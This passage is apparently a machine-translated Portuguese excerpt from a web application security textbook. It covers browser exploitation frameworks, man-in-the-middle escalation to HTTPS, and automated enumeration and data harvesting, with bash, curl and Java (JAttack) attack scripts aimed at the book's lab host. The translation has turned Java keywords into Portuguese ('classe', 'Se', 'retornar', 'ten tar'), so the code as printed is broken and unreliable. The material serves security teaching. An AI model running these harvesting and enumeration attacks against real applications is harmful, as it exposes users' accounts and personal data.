OBSERVAÇÃO Apesar das restrições impostas pela política de mesma origem, várias técnicas podem ser usadas nessa situação para permitir a interação assíncrona bidirecional com o servidor do invasor a partir de um script que tenha sido injetado em um aplicativo de destino. Um método simples é executar script dinâmico entre domínios que inclua o domínio do invasor. Essas solicitações podem transmitir dados capturados de volta ao invasor (dentro da string de consulta de URL) e receber instruções sobre ações que devem ser executadas (dentro do código de script retornado).

Veja a seguir algumas ações que podem ser realizadas dentro desse tipo de estrutura:

- Registrar as teclas digitadas e enviá-las ao invasor
- Sequestro da sessão do usuário com o aplicativo vulnerável
- Impressão digital do navegador da vítima e exploração de vulnerabilidades conhecidas do navegador de acordo
- Realizar varreduras de portas de outros hosts (que podem estar em uma rede privada acessível pelo navegador do usuário comprometido) e enviar os resultados para o invasor
- Ataque a outros aplicativos da Web acessíveis por meio do navegador do usuário comprometido, forçando o navegador a enviar solicitações mal-intencionadas
- Aplicação de força bruta no histórico de navegação do usuário e envio desse histórico ao invasor

Um exemplo de uma estrutura sofisticada de exploração de navegador é o BeEF, desenvolvido por Wade Alcon, que implementa a funcionalidade descrita acima. A Figura 13-8 mostra o BeEF capturando informações de um usuário comprometido, incluindo detalhes do computador, o URL e o conteúdo da página exibidos no momento e as teclas digitadas pelo usuário.

Figura 13-8: Dados capturados de um usuário comprometido pelo BeEF

A Figura 13-9 mostra o BeEF realizando uma varredura de portas no computador do próprio usuário vítima.

Figura 13-9: BeEF realizando uma varredura de portas no computador de um usuário comprometido

Outra estrutura de exploração de navegador altamente funcional é o XSS Shell, produzido por Ferruh Mavituna. Ele oferece uma ampla gama de funções para manipular hosts zumbis comprometidos por XSS, incluindo a captura de pressionamentos de teclas, conteúdo da área de transferência, movimentos do mouse, capturas de tela e histórico de URL, bem como a injeção de comandos JavaScript arbitrários. Ele também permanece residente no navegador do usuário se ele navegar para outras páginas do aplicativo.

Ataques Man-in-the-Middle

Os capítulos anteriores descreveram como um invasor adequadamente posicionado pode interceptar dados confidenciais, como senhas e tokens de sessão, se um aplicativo usar comunicações HTTP não criptografadas. O que é mais surpreendente é que alguns ataques graves ainda podem ser realizados mesmo que um aplicativo use HTTPS para todos os dados confidenciais e o usuário-alvo sempre verifique se o HTTPS está sendo usado corretamente.

Esses ataques envolvem um homem "ativo" no meio. Em vez de apenas monitorar passivamente o tráfego de outro usuário, esse tipo de invasor também altera parte desse tráfego em tempo real. Esse tipo de ataque é mais sofisticado, mas certamente pode ser realizado em várias situações comuns, incluindo hotspots sem fio públicos e redes de escritórios compartilhadas, e por governos com mentalidade adequada.

Muitos aplicativos usam HTTP para conteúdo não sensível, como descrições de produtos e páginas de ajuda. Se esse conteúdo incluir qualquer script usando URLs absolutos, um ataque man-in-the-middle ativo poderá ser usado para comprometer solicitações protegidas por HTTPS no mesmo domínio. Por exemplo, a página de ajuda de um aplicativo pode conter o seguinte:

```
<script src="http://wahh-app.com/help.js"></script>
```

Esse comportamento de usar URLs absolutos para incluir scripts por HTTP aparece em vários aplicativos de alto perfil na Web atualmente. Nessa situação, um invasor man-in-the-middle ativo poderia, é claro, modificar qualquer resposta HTTP para executar um código de script arbitrário. No entanto, como a política de mesma origem geralmente trata o conteúdo carregado por HTTP e HTTPS como pertencente a origens diferentes, isso não permitiria que o invasor comprometesse o conteúdo acessado usando HTTPS.

Para superar esse obstáculo, o invasor pode induzir um usuário a carregar a mesma página por HTTPS modificando qualquer resposta HTTP para causar um redirecionamento ou reescrevendo os destinos dos links em outra resposta. Quando o usuário carrega a página de ajuda por HTTPS, seu navegador executa o script include especificado usando HTTP. O mais importante é que alguns navegadores não exibem nenhum aviso nessa situação. O invasor pode então retornar seu código de script arbitrário na resposta para o script incluído. Esse script é executado no contexto da resposta HTTPS, permitindo que o invasor comprometa esse e outros conteúdos acessados por HTTPS.

Suponha que o aplicativo que está sendo visado não use HTTP simples para nenhum conteúdo. Um invasor ainda pode induzir o usuário a fazer solicitações para o domínio de destino usando HTTP simples, retornando um redirecionamento de uma solicitação HTTP feita para qualquer outro domínio. Embora o aplicativo em si possa nem mesmo escutar solicitações HTTP na porta 80, o invasor pode interceptar essas solicitações induzidas e retornar conteúdo arbitrário em resposta a elas. Nessa situação, várias técnicas podem ser usadas para aumentar o comprometimento da origem HTTPS do domínio do aplicativo:

- Primeiro, como foi descrito para ataques de injeção de cookies, o invasor pode usar uma resposta por HTTP simples para definir ou atualizar um valor de cookie usado em solicitações HTTPS. Isso pode ser feito até mesmo para cookies que foram originalmente definidos por HTTPS e sinalizados como seguros. Se algum valor de cookie for processado de forma insegura pelo código de script executado na origem HTTPS, um ataque de injeção de cookie poderá ser usado para fornecer uma exploração de XSS por meio do cookie.
- Em segundo lugar, conforme mencionado, algumas extensões de navegador não separam adequadamente o conteúdo carregado por HTTP e HTTPS e o tratam efetivamente como pertencente a uma única origem. O script do invasor, retornado em uma resposta a uma solicitação HTTP induzida, pode aproveitar essa extensão para ler ou gravar o conteúdo das páginas que o usuário acessou usando HTTPS.

Os ataques que acabamos de descrever dependem de algum método para induzir o usuário a fazer uma solicitação HTTP arbitrária para o domínio de destino, por exemplo, retornando uma resposta de redirecionamento de uma solicitação HTTP que o usuário faz para qualquer outro domínio. Você pode pensar que um usuário paranoico em relação à segurança estaria a salvo dessa técnica. Suponha que o usuário acesse apenas um site por vez e reinicie o navegador antes de acessar cada novo site. Suponha que ele faça login em seu aplicativo bancário,

que usa HTTPS puro, em um navegador novo e limpo. Ele pode ser comprometido por um ataque man-in-the-middle ativo?

A resposta preocupante é que sim, ele provavelmente pode ser comprometido. Os navegadores atuais fazem várias solicitações HTTP simples em segundo plano, independentemente dos domínios que o usuário visita. Exemplos comuns incluem listas antiphishing, pings de versão e solicitações de feeds RSS. Um invasor pode responder a qualquer uma dessas solicitações com um redirecionamento para o domínio visado usando HTTP. Quando o navegador segue silenciosamente o redirecionamento, um dos ataques já descritos pode ser realizado, primeiro para comprometer a origem HTTP do domínio visado e, depois, para escalar esse comprometimento para a origem HTTPS.

Os usuários paranóicos em relação à segurança que precisam acessar conteúdo sensível protegido por HTTPS por meio de uma rede não confiável podem (provavelmente) evitar a técnica que acabamos de descrever definindo a configuração de proxy do navegador para usar uma porta local inválida para todos os protocolos que não sejam HTTPS. Mesmo que façam isso, talvez ainda precisem se preocupar com ataques ativos contra o SSL, um tópico que está fora do escopo deste livro.

Resumo

Examinamos uma enorme variedade de maneiras pelas quais os defeitos em um aplicativo Web podem deixar seus usuários expostos a ataques mal-intencionados. Muitas dessas vulnerabilidades são complexas de entender e descobrir e, muitas vezes, exigem um esforço investigativo que excede sua importância como base para um ataque que valha a pena. No entanto, é comum descobrir que, em meio a um grande número de falhas desinteressantes no lado do cliente, há uma vulnerabilidade grave que pode ser aproveitada para atacar o próprio aplicativo. Em muitos casos, o esforço vale a pena.

Além disso, à medida que a conscientização sobre a segurança dos aplicativos Web continua a evoluir, os ataques diretos contra o próprio componente do servidor provavelmente se tornarão menos fáceis de descobrir e executar. Os ataques contra outros usuários, para o bem ou para o mal, certamente fazem parte do futuro de todos.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Você descobre uma função de aplicativo em que o conteúdo de um parâmetro de string de consulta é inserido no cabeçalho `Location` em um redirecionamento HTTP. Quais são os três tipos diferentes de ataques que podem ser explorados para realizar esse comportamento?
2. Que pré-condição principal deve existir para permitir um ataque CSRF contra uma função sensível de um aplicativo?
3. Quais são as três medidas defensivas que podem ser usadas para evitar ataques de sequestro de JavaScript?

4. Para cada uma das tecnologias a seguir, identifique as circunstâncias, se houver, em que a tecnologia solicitaria `/crossdomain.xml` para aplicar adequadamente a segregação de domínio:

   (a) Flash

   (b) Java

   (c) HTML5

   (d) Silverlight

5. "Estamos a salvo de ataques de clickjacking porque não usamos frames." O que há de errado com essa afirmação, se é que há algo errado?
6. Você identifica uma vulnerabilidade persistente de XSS no recurso de nome de exibição usado por um aplicativo. Essa cadeia de caracteres só é exibida para o usuário que a configurou, quando ele está conectado ao aplicativo. Descreva as etapas que um ataque precisaria executar para comprometer outro usuário do aplicativo.
7. Como você testaria se um aplicativo permite solicitações entre domínios usando `XMLHttpRequest`?
8. Descreva três maneiras pelas quais um invasor pode induzir uma vítima a usar um cookie arbitrário.

CAPÍTULO

14

Automatização de ataques personalizados

Este capítulo não apresenta nenhuma nova categoria de vulnerabilidades. Em vez disso, ele examina um elemento-chave em uma metodologia eficaz de invasão de aplicativos da Web: o uso da automação para fortalecer e acelerar ataques personalizados. A gama de técnicas envolvidas pode ser aplicada em todo o aplicativo e em cada estágio do processo de ataque, desde o mapeamento inicial até a exploração real. Cada aplicativo da Web é diferente. Atacar um aplicativo de forma eficaz envolve o uso de vários procedimentos e técnicas manuais para entender seu comportamento e sondar vulnerabilidades. Também envolve o uso de sua experiência e intuição de forma imaginativa. Normalmente, os ataques são personalizados por natureza, adaptados ao comportamento específico que você identificou e às maneiras específicas pelas quais o aplicativo permite que você interaja com ele e o manipule. A execução manual de ataques personalizados pode ser extremamente trabalhosa e propensa a erros. Os hackers de aplicativos da Web mais bem-sucedidos levam seus ataques personalizados um passo adiante e encontram maneiras de automatizá-los para torná-los mais fáceis, mais rápidos e mais eficientes.

mais eficaz.

Este capítulo descreve uma metodologia comprovada para automatizar ataques personalizados. Essa metodologia combina as virtudes da inteligência humana e da força bruta computadorizada, geralmente com resultados devastadores. Este capítulo também examina vários obstáculos em potencial que podem impedir o uso da automação e as maneiras pelas quais esses obstáculos podem ser contornados.

Usos da automação personalizada

Há três situações principais em que técnicas automatizadas personalizadas podem ser empregadas para ajudá-lo a atacar um aplicativo da Web:

- Enumerar identificadores - A maioria dos aplicativos usa vários tipos de nomes e identificadores para se referir a itens individuais de dados e recursos, como números de contas, nomes de usuários e IDs de documentos. Muitas vezes, você precisará iterar por um grande número de possíveis identificadores para enumerar quais são válidos ou merecem uma investigação mais aprofundada. Nessa situação, você pode usar a automação de forma totalmente personalizada para trabalhar com uma lista de possíveis identificadores ou percorrer o intervalo sintático de identificadores que se acredita estarem em uso pelo aplicativo.

  Um exemplo de ataque para enumerar identificadores seria quando um aplicativo usa um parâmetro de número de página para recuperar um conteúdo específico:

  ```
  http://mdsec.net/app/ShowPage.ashx?PageNo=10069
  ```

  Durante a navegação pelo aplicativo, você descobre um grande número de valores `PageNo` válidos. Mas para identificar cada valor válido, você precisa percorrer todo o intervalo, algo que não é possível fazer manualmente.

- Coleta de dados - Muitos tipos de vulnerabilidades de aplicativos Web permitem extrair dados úteis ou confidenciais do aplicativo usando solicitações específicas criadas. Por exemplo, uma página de perfil pessoal pode exibir os detalhes pessoais e bancários do usuário atual e indicar o nível de privilégio desse usuário no aplicativo. Por meio de um defeito de controle de acesso, você pode visualizar a página de perfil pessoal de qualquer usuário do aplicativo, mas somente um usuário por vez. A coleta desses dados para cada usuário pode exigir milhares de solicitações individuais. Em vez de trabalhar manualmente, você pode usar um ataque automatizado personalizado para capturar rapidamente todos esses dados em um formato útil.

  Um exemplo de coleta de dados úteis seria estender o ataque de enumeração que acabamos de descrever. Em vez de simplesmente confirmar quais valores `de PageNo` são válidos, seu ataque automatizado poderia extrair o conteúdo da tag de título HTML de cada página recuperada, permitindo que você examine rapidamente a lista de páginas em busca das mais interessantes.

- Fuzzing em aplicativos da Web - Conforme descrevemos as etapas práticas para detectar vulnerabilidades comuns em aplicativos da Web, você viu vários exemplos em que a melhor abordagem para a detecção é enviar vários

itens inesperados de dados e cadeias de ataque e analise as respostas do aplicativo em busca de anomalias que indiquem que a falha pode estar presente. Em um aplicativo grande, seus exercícios iniciais de mapeamento podem identificar dezenas de solicitações distintas que precisam ser investigadas, cada uma contendo vários parâmetros diferentes. Testar cada caso manualmente consumiria muito tempo e seria entediante, podendo deixar uma grande parte da superfície de ataque negligenciada. Usando a automação personalizada, no entanto, você pode gerar rapidamente um grande número de solicitações contendo cadeias de caracteres de ataque comuns e avaliar rapidamente as respostas do servidor para identificar casos interessantes que mereçam investigação adicional. Essa técnica é geralmente chamada de *fuzzing*.

Examinaremos detalhadamente cada uma dessas três situações e as maneiras pelas quais as técnicas automatizadas personalizadas podem ser aproveitadas para aprimorar enormemente seus ataques contra um aplicativo.

Enumerando identificadores válidos

Como descrevemos várias vulnerabilidades e técnicas de ataque comuns, você se deparou com várias situações em que o aplicativo emprega um nome ou identificador para algum item, e sua tarefa como invasor é descobrir alguns ou todos os identificadores válidos em uso. Aqui estão alguns exemplos de onde esse requisito pode surgir:

- A função de login do aplicativo retorna mensagens informativas que revelam se uma falha no login foi resultado de um nome de usuário não reconhecido ou de uma senha incorreta. Ao iterar por uma lista de nomes de usuário comuns e tentar fazer login usando cada um deles, é possível restringir a lista àqueles que você sabe que são válidos. Essa lista pode então ser usada como base para um ataque de adivinhação de senha.
- Muitos aplicativos usam identificadores para se referir a recursos individuais que são processados no aplicativo, como IDs de documentos, números de contas, números de funcionários e entradas de registro. Muitas vezes, o aplicativo expõe alguns meios de confirmar se um identificador específico é válido. Ao iterar pelo intervalo sintático de identificadores em uso, você pode obter uma lista abrangente de todos esses recursos.
- Se os tokens de sessão gerados pelo aplicativo puderem ser previstos, você poderá sequestrar as sessões de outros usuários simplesmente extrapolando a partir de uma série de tokens emitidos para você. Dependendo da confiabilidade desse processo, talvez seja necessário testar um grande número de tokens candidatos para cada valor válido que for confirmado.

A abordagem básica

Sua primeira tarefa ao formular um ataque automatizado personalizado para enumerar identificadores válidos é localizar um par de solicitação/resposta que tenha as seguintes características:

- A solicitação inclui um parâmetro que contém o identificador que você está obtendo. Por exemplo, em uma função que exibe uma página de aplicativo, a solicitação pode conter o parâmetro `PageNo=10069`.
- A resposta do servidor a essa solicitação varia de forma sistemática quando você varia o valor do parâmetro. Por exemplo, se um `PageNo` válido for solicitado, o servidor poderá retornar uma resposta contendo o conteúdo do documento especificado. Se um valor inválido for solicitado, ele poderá retornar uma mensagem de erro genérica.

Depois de localizar um par de solicitação/resposta adequado, a abordagem básica envolve o envio de um grande número de solicitações automatizadas ao aplicativo, seja trabalhando com uma lista de possíveis identificadores ou iterando pelo intervalo sintático de identificadores conhecidos por estarem em uso. As respostas do aplicativo a essas solicitações são monitoradas quanto a "acertos", indicando que um identificador válido foi enviado.

Detecção de acertos

Há vários atributos de respostas nos quais variações sistemáticas podem ser detectadas e que, portanto, podem fornecer a base para um ataque automatizado.

Código de status HTTP

Muitos aplicativos retornam códigos de status diferentes de forma sistemática, dependendo dos valores dos parâmetros enviados. Os valores mais comumente encontrados durante um ataque para enumerar identificadores são os seguintes:

- **200** - O código de status padrão, que significa "OK".
- **301 ou 302** - um redirecionamento para um URL diferente.
- **401 ou 403** - A solicitação não foi autorizada ou permitida.
- **404** - O recurso solicitado não foi encontrado.
- **500** - O servidor encontrou um erro ao processar a solicitação.

Comprimento da resposta

É comum que as páginas de aplicativos dinâmicos criem respostas usando um modelo de página (que tem um comprimento fixo) e insiram conteúdo por resposta nesse modelo. Se o conteúdo por resposta não existir ou for inválido (por exemplo, se um ID de documento incorreto tiver sido solicitado), o aplicativo poderá simplesmente retornar um

modelo vazio. Nessa situação, o comprimento da resposta é um indicador confiável de que um ID de documento válido foi identificado.

Em outras situações, diferentes comprimentos de resposta podem indicar a ocorrência de um erro ou a existência de uma funcionalidade adicional. De acordo com a experiência dos autores, o código de status HTTP e os indicadores de comprimento de resposta foram considerados um meio altamente confiável de identificar respostas anômalas na maioria dos casos.

Corpo da resposta

É comum que os dados realmente retornados pelo aplicativo contenham strings literais ou padrões que podem ser usados para detectar ocorrências. Por exemplo, quando um ID de documento inválido é solicitado, a resposta pode conter a cadeia de caracteres `ID de documento inválido`. Em alguns casos, em que o código de status HTTP não varia e o comprimento total da resposta pode ser alterado devido à inclusão de conteúdo dinâmico, a busca de respostas por uma cadeia ou padrão específico pode ser o meio mais confiável de identificar ocorrências.

Cabeçalho de localização

Em alguns casos, o aplicativo responde a todas as solicitações de um URL específico com um redirecionamento HTTP (um código de status 301 ou 302), em que o destino do redirecionamento depende dos parâmetros enviados na solicitação. Por exemplo, uma solicitação para visualizar um relatório pode resultar em um redirecionamento para `/download.jsp` se o nome do relatório fornecido estiver correto, ou para `/error.jsp` se estiver incorreto. O destino de um redirecionamento HTTP é especificado no cabeçalho `Location` e pode ser usado com frequência para identificar acessos.

Set-Cookie Header

Ocasionalmente, o aplicativo pode responder de forma idêntica a qualquer conjunto de parâmetros, com a exceção de que um cookie é definido em determinados casos. Por exemplo, cada solicitação de login pode ser atendida com o mesmo redirecionamento, mas, no caso de credenciais válidas, o aplicativo define um cookie que contém um token de sessão. O conteúdo que o cliente recebe quando segue o redirecionamento depende do fato de um token de sessão válido ter sido enviado.

Atrasos de tempo

Ocasionalmente, o conteúdo real da resposta do servidor pode ser idêntico quando parâmetros válidos e inválidos são enviados, mas o tempo necessário para retornar a resposta pode ser sutilmente diferente. Por exemplo, quando um nome de usuário inválido é enviado a uma função de login, o aplicativo pode responder imediatamente com uma mensagem genérica e não informativa. Entretanto, quando um nome de usuário válido é enviado, o

O aplicativo pode executar vários processamentos de back-end para validar as credenciais fornecidas, alguns dos quais são computacionalmente intensivos, antes de retornar a mesma mensagem se as credenciais estiverem incorretas. Se você puder detectar essa diferença de tempo remotamente, ela poderá ser usada como um discriminador para identificar acertos em seu ataque. (Esse bug também é encontrado com frequência em outros tipos de software, como versões mais antigas do OpenSSH).

DICA O objetivo principal na seleção de indicadores de acertos é encontrar um que seja totalmente confiável ou um grupo que seja confiável quando considerado em conjunto. No entanto, em alguns ataques, você pode não saber de antemão exatamente como é um acerto. Por exemplo, ao visar uma função de login para tentar enumerar nomes de usuários, talvez você não tenha um nome de usuário válido conhecido para determinar o comportamento do aplicativo no caso de um acerto. Nessa situação, a melhor abordagem é monitorar as respostas do aplicativo para todos os atributos descritos acima e procurar por anomalias.

Criação de scripts para o ataque

Suponha que você tenha identificado o seguinte URL, que retorna um código de status 200 quando um valor PageNo válido é enviado e um código de status 500 caso contrário:

```
http://mdsec.net/app/ShowPage.ashx?PageNo=10069
```

Esse par de solicitação/resposta satisfaz as duas condições necessárias para que você possa montar um ataque automatizado para enumerar IDs de página válidos.

Em um caso simples como esse, é possível criar um script personalizado rapidamente para realizar um ataque automatizado. Por exemplo, o script bash a seguir lê uma lista de possíveis IDs de página da entrada padrão, usa a ferramenta `netcat` para solicitar um URL que contenha cada ID e registra a primeira linha da resposta do servidor, que contém o código de status HTTP:

```
#!/bin/bash

servidor=mdsec.net
porta=80

while read id
do
echo -ne "$id\t"
echo -ne "GET/app/ShowPage.ashx?PageNo=$id HTTP/1.0\r\nHost: $server\r\n\r\n"
    | netcat $server $port | head -1
done | tee outputfile
```

A execução desse script com um arquivo de entrada adequado gera a seguinte saída, que permite identificar rapidamente IDs de página válidos:

```
~> ./script <IDs.txt
10060HTTP/1     .0 500 Erro interno do servidor
10061HTTP/1     .0 500 Erro interno do servidor
10062HTTP/1     .0 200 Ok
10063HTTP/1     .0 200 Ok
10064HTTP/1     .0 500 Erro interno do servidor
...
```

DICA O ambiente Cygwin pode ser usado para executar scripts bash na plataforma Windows. Além disso, o conjunto UnxUtils contém portas Win32 de vários utilitários GNU úteis, como **`head`** e **`grep`**.

É possível obter o mesmo resultado com a mesma facilidade em um script em lote do Windows. O exemplo a seguir usa a ferramenta `curl` para gerar solicitações e o comando `findstr` para filtrar a saída:

```
for /f "tokens=1" %i in (IDs.txt) do echo %i && curl
 mdsec.net/app/ShowPage.ashx?PageNo=%i -i -s | findstr /B HTTP/1.0
```

Scripts simples como esses são ideais para executar uma tarefa direta, como percorrer uma lista de valores de parâmetros e analisar a resposta do servidor para um único atributo. Entretanto, em muitas situações, é provável que você precise de mais potência e flexibilidade do que os scripts de linha de comando podem oferecer prontamente. A preferência dos autores é usar uma linguagem adequada de alto nível orientada a objetos que permita a fácil manipulação de dados baseados em strings e forneça APIs acessíveis para o uso de soquetes e SSL. As linguagens que atendem a esses critérios incluem Java, C# e Python. Examinaremos mais detalhadamente um exemplo usando Java.

JAttack

O JAttack é um exemplo de ferramenta simples, mas versátil, que demonstra como qualquer pessoa com algum conhecimento básico de programação pode usar a automação personalizada para realizar ataques poderosos contra um aplicativo. O código-fonte completo dessa ferramenta pode ser baixado do site que acompanha este livro, `http://mdsec.net/ wahh`. No entanto, mais importante do que o código real são as técnicas básicas envolvidas, que explicaremos em breve.

Em vez de apenas trabalhar com uma solicitação como um bloco de texto não estruturado, precisamos de uma ferramenta para entender o conceito de um parâmetro de solicitação. Esse é um parâmetro nomeado

item de dados que pode ser manipulado e que é anexado a uma solicitação de forma específica. Os parâmetros de solicitação podem aparecer na string de consulta de URL, nos cookies HTTP ou no corpo de uma solicitação `POST`. Vamos começar criando uma classe `Param` para manter os detalhes relevantes:

```
// JAttack.java
// por Dafydd Stuttard
import java.net.*;
import java.io.*;

classe Param
{
    String name, value;
    Tipo de tipo;
    ataque booleano;

    Param(String name, String value, Type type, boolean attack)
    {
        this.name = name;
        this.value = value;
        this.type = type;
        this.attack = attack;
    }

    enum Type
    {
        URL, COOKIE, BODY
    }
}
```

Em muitas situações, uma solicitação contém parâmetros que não queremos modificar em um determinado ataque, mas que ainda precisamos incluir para que o ataque seja bem-sucedido. Podemos usar o campo "attack" para sinalizar se um determinado parâmetro está sendo submetido à modificação no ataque atual.

Para modificar o valor de um parâmetro selecionado de forma artesanal, precisamos que nossa ferramenta compreenda o conceito de uma carga útil de ataque. Em diferentes tipos de ataques, precisamos criar diferentes fontes de carga útil. Vamos incorporar alguma flexibilidade à ferramenta desde o início e criar uma interface que todas as fontes de carga útil devem implementar:

```
interface PayloadSource
{
    boolean nextPayload();
    void reset();
    String getPayload();
}
```

O método `nextPayload` pode ser usado para avançar o estado da fonte; ele retorna `true` até que todas as suas cargas úteis sejam usadas. O método `reset` `retorna` o estado ao seu ponto inicial. O método `getPayload` retorna o valor da carga útil atual.

No exemplo da enumeração de documentos, o parâmetro que queremos variar contém um valor numérico, portanto, nossa primeira implementação da interface `PayloadSource` é uma classe para gerar cargas numéricas. Essa classe nos permite especificar o intervalo de números que queremos testar:

```
classe PSNumbers implementa PayloadSource
{
    int from, to, step, current;
    PSNumbers(int from, int to, int step)
    {
        this.from = from;
        this.to = to;
        this.step = step;
        reset();
    }

    booleano público nextPayload()
    {
        current += step; return
        current <= to;
    }

    público void reset()
    {
        current = from - step;
    }

    público String getPayload()
    {
        return Integer.toString(current);
    }
}
```

Equipados com o conceito de um parâmetro de solicitação e uma fonte de carga útil, temos recursos suficientes para gerar solicitações reais e processar as respostas do servidor. Primeiro, vamos especificar algumas configurações para nosso primeiro ataque:

```
classe JAttack
{
    // configuração de ataque
    String host = "mdsec.net"; int
    port = 80;
    String method = "GET";
    String url = "/app/ShowPage.ashx";
    Param[] params = new Param[]
    {
        novo Param("PageNo", "10069", Param.Type.URL, true),
    };
    PayloadSource payloads = new PSNumbers(10060, 10080, 1);
```

Essa configuração inclui as informações básicas de destino, cria um único parâmetro de solicitação chamado `PageNo` e configura nossa fonte de carga útil numérica para percorrer o intervalo de 10060 a 10080.

Para percorrer uma série de solicitações, potencialmente direcionadas a vários parâmetros, precisamos manter algum estado. Vamos usar um método `nextRequest` simples para avançar o estado do nosso mecanismo de solicitação, retornando `true` até que não haja mais solicitações:

```
// estado de ataque
int currentParam = 0;

booleano nextRequest()
{
    Se (currentParam >= params.length)
        retornar false;

    Se (!params[currentParam].attack)
    {
        currentParam++; return
        nextRequest();
    }

    Se (!payloads.nextPayload())
    {
        payloads.reset();
        currentParam++; return
        nextRequest();
    }

    retornar verdadeiro;
}
```

Esse mecanismo de solicitação com estado mantém o controle de qual parâmetro estamos visando no momento e qual carga útil de ataque colocar nele. A próxima etapa é criar de fato uma solicitação HTTP completa usando essas informações. Isso envolve a inserção de cada tipo de parâmetro no local correto da solicitação e a adição de quaisquer outros cabeçalhos necessários:

```
String buildRequest()
{
    // parâmetros de construção
    StringBuffer urlParams = new StringBuffer();
    StringBuffer cookieParams = new StringBuffer();
    StringBuffer bodyParams = new StringBuffer(); for
    (int i = 0; i < params.length; i++)
    {
        String value = (i == currentParam) ?
            payloads.getPayload() :
            params[i].value;
```

```
        Se (params[i].type == Param.Type.URL) urlParams.append(params[i].name
            + "=" + value + "&");
        Caso contrário, se (params[i].type == Param.Type.COOKIE)
            cookieParams.append(params[i].name + "=" + value + "; ");
        Caso contrário, se (params[i].type == Param.Type.BODY)
            bodyParams.append(params[i].name + "=" + value + "&");
    }

    // criar solicitação
    StringBuffer req = new StringBuffer();
    req.append(method + " " + url);
    Se (urlParams.length() > 0)
        req.append("?" + urlParams.substring(0, urlParams.length() - 1));
    req.append(" HTTP/1.0\r\nHost: " + host);
    Se (cookieParams.length() > 0)
        req.append("\r\nCookie: " + cookieParams.toString()); se
    (bodyParams.length() > 0)
    {
        req.append("\r\nContent-Type: application/x-www-form-urlencoded");
        req.append("\r\nContent-Length: " + (bodyParams.length() - 1));
        req.append("\r\n\r\n");
        req.append(bodyParams.substring(0, bodyParams.length() - 1));
    }
    else req.append("\r\n\r\n");

    return req.toString();
}
```

OBSERVAÇÃO Se você escrever seu próprio código para gerar solicitações **POST**, precisará incluir um cabeçalho **Content-Length** válido que especifique o comprimento real do corpo HTTP em cada solicitação, como no código anterior. Se um **Content-Length** inválido for enviado, a maioria dos servidores da Web truncará os dados enviados ou aguardará indefinidamente que mais dados sejam fornecidos.

Para enviar nossas solicitações, precisamos abrir conexões de rede com o servidor Web de destino. O Java facilita a abertura de uma conexão TCP, o envio de dados e a leitura da resposta do servidor:

```
String issueRequest(String req) throws UnknownHostException, IOException
{
    Socket socket = new Socket(host, port);
    OutputStream os = socket.getOutputStream();
    os.write(req.getBytes());
    os.flush();

    BufferedReader br = new BufferedReader(new InputStreamReader(
            socket.getInputStream()));
    StringBuffer response = new StringBuffer();
```

```
    Linha de cordas;
    Enquanto (null != (line = br.readLine()))
        response.append(line);

    os.close();
    br.close();
    return response.toString();
}
```

Depois de obter a resposta do servidor a cada solicitação, precisamos analisá-la para extrair as informações relevantes que nos permitirão identificar os acertos em nosso ataque. Vamos começar simplesmente registrando dois itens interessantes: o código de status HTTP da primeira linha da resposta e o comprimento total da resposta:

```
String parseResponse(String response)
{
    StringBuffer output = new StringBuffer();

    output.append(response.split("\\s+", 3)[1] + "\t");
    output.append(Integer.toString(response.length()) + "\t");

    retornar output.toString();
}
```

Finalmente, agora temos tudo pronto para lançar nosso ataque. Precisamos apenas de um código simples para chamar cada um dos métodos anteriores e imprimir os resultados até que todas as solicitações tenham sido feitas e `nextRequest` retorne `false`:

```
void doAttack()
{
    System.out.println("param\tpayload\tstatus\tlength");
    String output = null;

    enquanto (nextRequest())
    {
        ten
        tar
        {   output = parseResponse(issueRequest(buildRequest()));

        }
        catch (Exceção e)
        {
            output = e.toString();
        }
        System.out.println(params[currentParam].name + "\t" +
                payloads.getPayload() + "\t" + output);
    }
}

public static void main(String[] args)
```

```
{
    novo JAttack().doAttack();
}
```

É isso aí! Para compilar e executar esse código, você precisa fazer o download do Java SDK e do JRE da Sun e, em seguida, executar o seguinte:

```
> javac JAttack.java
> java JAttack
```

Em nossa configuração de amostra, a saída da ferramenta é a seguinte:

```
param          carga útil    status      comprim
                                         ento
PáginaNo       10060         500         3154
PáginaNo       10061         500         3154
PáginaNo       10062         200         1083
PáginaNo       10063         200         1080
PáginaNo       10064         500         3154
...
```

Supondo uma conexão de rede normal e uma quantidade de poder de processamento, o JAttack pode emitir centenas de solicitações individuais por minuto e gerar os detalhes pertinentes. Isso permite que você encontre rapidamente identificadores de documentos válidos para investigação adicional.

EXPERIMENTE!

http://mdsec.net/app/

Pode parecer que o ataque que acabamos de ilustrar não é mais sofisticado do que o exemplo original do script bash, que exigia apenas algumas linhas de código. No entanto, devido à forma como o JAttack é projetado, é fácil modificá-lo para fornecer ataques muito mais sofisticados, incorporando vários parâmetros de solicitação, uma variedade de fontes de carga útil e processamento arbitrariamente complexo de respostas. Nas seções a seguir, faremos alguns pequenos acréscimos ao código do JAttack que o tornarão consideravelmente mais avançado.

Coleta de dados úteis

O segundo principal uso da automação personalizada ao atacar um aplicativo é extrair dados úteis ou confidenciais usando solicitações específicas criadas para recuperar as informações, um item de cada vez. Essa situação ocorre mais comumente quando você identifica uma vulnerabilidade explorável, como uma falha de controle de acesso, que permite acessar um recurso não autorizado especificando um identificador para ele. No entanto, ela também pode ocorrer quando o aplicativo está funcionando inteiramente como

pretendida por seus projetistas. Aqui estão alguns exemplos de casos em que a coleta automatizada de dados pode ser útil:

- Um aplicativo de varejo on-line contém um recurso para que os clientes registrados visualizem seus pedidos pendentes. Entretanto, se você puder determinar os números de pedidos atribuídos a outros clientes, poderá visualizar as informações dos pedidos deles da mesma forma que os seus.
- Uma função de senha esquecida depende de um desafio configurável pelo usuário. Você pode enviar um nome de usuário arbitrário e visualizar o desafio associado. Ao iterar por uma lista de nomes de usuário enumerados ou adivinhados, é possível obter uma grande lista de desafios de senha de usuários para identificar aqueles que são facilmente adivinháveis.
- Um aplicativo de fluxo de trabalho contém uma função para exibir algumas informações básicas da conta de um determinado usuário, incluindo seu nível de privilégio no aplicativo. Ao percorrer o intervalo de IDs de usuário em uso, é possível obter uma listagem de todos os usuários administrativos, que pode ser usada como base para adivinhação de senhas e outros ataques.

A abordagem básica para usar a automação na coleta de dados é essencialmente semelhante à enumeração de identificadores válidos, exceto pelo fato de que agora você não está interessado apenas em um resultado binário (um acerto ou um erro), mas também está buscando extrair parte do conteúdo de cada resposta em um formato utilizável.

Considere a seguinte solicitação, que é feita por um usuário conectado para mostrar as informações da sua conta:

```
GET /auth/498/YourDetails.ashx?uid=198 HTTP/1.1
Host: mdsec.net
Cookie: SessionId=0947F6DC9A66D29F15362D031B337797
